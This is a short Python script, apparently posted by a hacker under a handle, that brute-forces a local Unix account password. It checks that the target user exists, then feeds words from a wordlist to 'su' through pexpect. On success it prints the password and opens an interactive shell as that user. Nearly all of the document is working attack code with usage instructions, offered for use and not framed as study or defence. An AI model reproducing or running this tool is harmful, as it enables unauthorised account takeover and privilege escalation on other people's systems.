Py Local Acc Bruteforcer

Local Acc Bruteforcer in Python
{THE HOUSE ALWAYS WINS}
Done by Baph0met
Twitter @ircthots

import sys, pwd
 try:
    import pexpect
 except(ImportError):
    print "\nYou need the pexpect module."
    print "http://www.noah.org/wiki/Pexpect\n"
    sys.exit(1)


 #Change this if needed.
 LOGIN_ERROR = 'su: incorrect password'


 def brute(word):
    print "Trying:",word
    child = pexpect.spawn ('su '+user)
    child.expect ('Password: ')
    child.sendline (word)
    i = child.expect([LOGIN_ERROR, pexpect.TIMEOUT], timeout=5)
    if i  == 1:
        print "\n\t[!] Password:",word
        child.sendline ('whoami')
        print child.before
        child.interact()
    #if i = 0:
        #print "Incorrect Password"

 if len(sys.argv) != 3:
    print "\nUsage : ./accbrute.py <user> <wordlist>"
    print "Eg: ./accbrute.py d3hydr8 words.txt\n"
    sys.exit(1)


 user = sys.argv[1]
 users = []
 for x in pwd.getpwall():
    users.append(x[0])
 if user not in users:
    print "\n[-] User not found\n"
    sys.exit(1)

 print "\n[+] Found:",len(users),"users"
 try:
    words = open(sys.argv[2], "r").readlines()
 except(IOError):
    print "\n[-] Error: Check your wordlist path\n"
    sys.exit(1)

 print "\n[+] Loaded:",len(words),"words"
 print "[+] User:",user
 print "[+] BruteForcing...\n"
 for word in words:
    brute(word.replace("\n",""))